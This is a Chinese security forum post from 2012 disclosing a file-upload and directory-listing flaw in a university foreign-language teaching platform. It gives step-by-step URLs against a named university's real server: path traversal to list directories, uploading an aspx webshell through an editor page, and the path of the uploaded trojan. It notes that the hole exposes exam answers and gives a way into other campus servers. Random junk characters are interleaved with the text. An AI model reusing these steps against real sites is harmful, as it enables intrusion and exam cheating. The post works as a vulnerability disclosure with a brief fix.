找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2489|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
: Z& |6 i. ^$ y( L$ |
! Y9 Z% W& B+ }! m7 s2 s! X详细说明:
2 c. v" R3 ?: c  f/ O7 ] ; U' q$ k7 M! d( ?
以南开大学的为例:
4 F; s$ p* t: b5 g9 Fhttp://222.30.60.3/NPELS
" L7 `$ P0 d- q3 DNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
3 }9 m7 y* i1 A4 m. q) f) v<setting name="Update_CommonSvr_CommonService" serializeAs="String">, F" a5 M! s5 T; V9 E8 ^1 \' ~& ?8 N
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
4 `8 a9 h. m, u  i8 Y$ a</setting>
4 Z6 `2 o/ ^) o, r# ?- H及版本号
! @% d, I+ Z# _3 B- y$ N<add key="TVersion" value="1, 0, 0, 2187">
. M* r! z$ _3 e  f0 P/ p</add>) X. p  Y/ H4 o
直接访问& t: B. k$ g4 f$ F
http://222.30.60.3/NPELS/CommonService.asmx
# e0 J% [5 h) n5 ^使用GetTestClientFileList操作,直接 HTTP GET 列目录:
- E, L' G1 q4 v. e2 }http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
8 M+ j. y( E4 a* ]3 S6 d- |$ S进一步列目录(返回的网页很大,可以直接 wget 下来)$ L) h1 M5 J. m- l2 T& q* R, V" r
http://222.30.60.3/NPELS/CommonS ... List?version=../../
! X1 o% F0 \# a/ ]& t
' j4 {6 h+ T! p: @9 l发现4 Q5 K; a* N! r% I: w% t
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
- G% {( F& v3 [  K+ E; _8 C, X可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
+ v' U! e8 R: S5 n+ [8 `) w+ i0 O上传后继续列目录找到木马地址直接访问即可# ^7 X& x, K% I& N

7 w. F0 l+ J  {OOXX; ]& i/ z9 s8 B4 Q4 F* |
/ r7 W/ L/ J) J2 ^4 U; v3 K
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
7 ~0 d: g+ e4 v* P3 o8 F2 K漏洞证明:7 O: H, s5 A( e7 q3 f# G% G8 b  f3 V
4 O7 O6 }: V6 U6 I$ u
列目录:8 T" k$ B7 _% E' a
http://222.30.60.3/NPELS/CommonS ... List?version=../../# L9 Y0 h2 G& z, w- n1 }
文件上传:: }- [6 w4 E; V3 x
http://222.30.60.3/npelsv/editor/editor.htm' @: u3 g- ^7 H: e! M
/ k, p2 ?! H" }# Z" m/ o
上传木马:" `; D- N$ G3 R1 A/ _. t2 l0 X: C
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx' K* [, d8 F" }  o
) S1 c: M  o6 m1 F
修复方案:9 k0 w/ U7 b1 [5 z4 E% p7 H/ Q; ~
好像考试系统必须使用 CommonService.asmx! F- e( p& Y! ~, P- q
最好配置文件加密或者用别的方式不让它泄露出来9 [- j. B+ k; D0 ^
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​
$ H. N& Z8 D- d' k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表